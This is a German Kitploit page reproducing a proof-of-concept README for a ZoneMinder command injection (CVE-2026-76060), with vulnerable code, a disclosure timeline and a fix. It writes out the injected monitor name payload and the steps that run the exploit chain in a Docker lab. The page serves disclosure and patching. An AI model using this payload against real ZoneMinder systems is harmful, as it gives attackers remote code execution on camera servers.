Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-76060_ZoneMinder_CommandInjection-PoC — Proof-of-Concept-Exploit für CVE-2026-76060, eine OS-Command-Injection im Event-Export von ZoneMinder, die RCE über manipulierte Monitornamen demonstriert. | Kitploit
Tools/GitHubGitHub/investigato/cve-2026-76060_zoneminder_commandinjection-poc
SchwachstellenanalyseExploitationWebanwendungs-ExploitationPenetrationstestsCommand and ControlRed Teaming
GitHubinvestigato/cve-2026-76060_zoneminder_commandinjection-poc

CVE-2026-76060_ZoneMinder_CommandInjection-PoC

Proof-of-Concept-Exploit für CVE-2026-76060, eine OS-Command-Injection im Event-Export von ZoneMinder, die RCE über manipulierte Monitornamen demonstriert.

Repository anzeigen
1vor 6h 54mNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

just wait and see

Proof of Concept für eine OS-Command-Injection-Schwachstelle in der Event-Export-Funktion von ZoneMinder (web/includes/download_functions.php).

Monitornamen werden direkt in Shell-Befehle interpoliert, wobei manuell einfache Anführungszeichen gesetzt werden, anstatt escapeshellarg() zu verwenden. Ein Angreifer, der einen Monitor erstellen kann, kann beliebige Shell-Befehle injizieren, die als www-data/der Benutzer, unter dem der Prozess läuft, ausgeführt werden, sobald ein Benutzer einen Event-Export auslöst.

Ursachen

  • Commit 44c5c3c vom 4. Oktober 2023 – hier wurde die Datei download_functions.php eingeführt. Die Commit-Nachricht lautet „Introduce new download mode that concats event videos into 1 file per monitor.“ Der anfällige Code ist hier vorhanden, erforderte jedoch, dass zuerst ein Administrator den Monitor erstellt.
  • Commit 2d49e93 vom 2. Januar 2024 – „Introduce a Create permission for Monitors, so that a given user may Edit existing monitors, but not create new ones.“ Hier ändert sich die Lage etwas. Nun kann ein Benutzer mit lediglich den Monitornamen für den Angriff festlegen, und jeder Benutzer mit Exportberechtigung kann ihn auslösen.
Monitors=Create

Betroffene Versionen: >= 1.37.48 (enthält die SQL-Migrationsänderungen) und <= 1.38.1 Der 1.36.x-Zweig ist nicht betroffen.

So funktioniert es

Zwei Benutzer. Zwei Berechtigungsstufen. Eine Shell.

  • medpriv hat Monitors=Create oder Monitors=Edit, falls dort bereits ein Monitor existiert.
  • lowpriv hat gerade genug Zugriff, um einen Event-Export auszulösen. Zieht den Abzug, ohne es zu wissen.

Der Event-Datensatz muss nicht manuell erstellt werden. ZoneMinder ist ein Kamerasystem … es erstellt Event-Datensätze automatisch, während die Kameras laufen. In einer Live-Umgebung besteht der Einrichtungsschritt darin: Monitor erstellen, weggehen.

Zwei Senken, eine Quelle

Der nicht bereinigte Monitorname erreicht zwei separate exec()-Aufrufe:

Zeile 126 | ffmpeg:

root@kitploit:~
$cmd = ZM_PATH_FFMPEG.' -f concat -safe 0 -i event_files.txt -c copy \''.$export_dir.'/'.$mergedFileName. '\' 2>&1';
exec($cmd, $output, $return);

Zeile 150 | tar/zip:

root@kitploit:~
$command .= ' \''.$mergedFileName.'\'';
if (executeShelCommand($command, $deleteFile = $mergedFileName) === false) return false;

Beide sind über denselben sorgfältig konstruierten Monitornamen erreichbar, unabhängig vom Exportformat.

Voraussetzungen

  • Docker
  • Docker Compose

Verwendung

root@kitploit:~
git clone https://github.com/investigato/zoneminder-rce-poc.git
cd zoneminder-rce-poc
docker compose up -d
# warten, bis ZoneMinder die Initialisierung abgeschlossen hat (~30 Sekunden)
uv run poc.py

init.sql bootstrappt die Datenbank mit aktivierter Authentifizierung und zwei Benutzern:

  • medpriv mit Rechten zur Monitorerstellung (und aus Zeitgründen auch mit Rechten zur Ereigniserstellung, was in der Produktion jedoch nicht nötig ist)
  • lowpriv mit ausschließlich Zugriff auf den Event-Export

uv run poc.py führt die gesamte Kette aus:

  1. medpriv authentifiziert sich über die API und erstellt einen Monitor mit dem Namen poc'; touch /tmp/pwned; echo '
  2. medpriv erstellt einen Event-Datensatz, um die Demo zu beschleunigen (in der Produktion erledigt ZoneMinder dies automatisch)
  3. lowpriv authentifiziert sich und löst einen Event-Export aus
  4. Das Skript prüft /tmp/pwned im Container und gibt das Ergebnis aus

Erwartete Ausgabe:

root@kitploit:~
Login: 200
Token: ok
Create monitor: 200 — {"message":"Saved"}
Created monitor ID=1 name="poc'; touch /tmp/pwned; echo '"
Create event: 200
Event ID=1
Login: 200
Token: ok
Export: 200 = {"result":"Ok","exportFile":"?view=download&type=zip&file=Export.zip","exportFormat":"zip","connkey":""}
Deleted event 1
Deleted monitor 1

Did it work?
running docker exec ... ls -la /tmp/pwned inside the container to check if the file was created
Success! Command injection worked, /tmp/pwned was created inside the container.
-rw-r--r-- 1 www-data www-data 0 Jun  6 18:32 /tmp/pwned

CVSS

  • 3.1: 8.8 (Hoch):AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
  • 4.0: 8.7 (Hoch):AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

In jedem Fall kostet escapeshellarg() zumindest nichts.

Offenlegung

  • 03/08/2026: Gemeldet über die Sicherheitskontakt-E-Mail von ZoneMinder
  • 03/09/2026: Behoben in Commit b3a7c05
  • 06/08/2026: Öffentliche Offenlegung

[!NOTE] Innerhalb von 12 Stunden nach der Meldung behoben. Keine Bestätigung des Maintainers, dass es sich um ein Sicherheitsproblem handelt. Ich bin anderer Meinung. Aktualisiert am 27.08.26 – Der Maintainer hat den Bericht bestätigt und eine CVE wurde vergeben.

Fix

Wenden Sie escapeshellarg() mindestens an beiden Injektionspunkten an:

root@kitploit:~
// Zeile 126
$cmd = ZM_PATH_FFMPEG.' -f concat -safe 0 -i event_files.txt -c copy '.escapeshellarg($export_dir.'/'.$mergedFileName).' 2>&1';

// Zeile 150
$command .= ' '.escapeshellarg($mergedFileName);

Die Zeilen 116 und 211 in generateFileList() weisen dasselbe Muster auf.


Entdeckt von (@investigato)
Vollständiger Artikel: scriptkittens.com

Tool herunterladen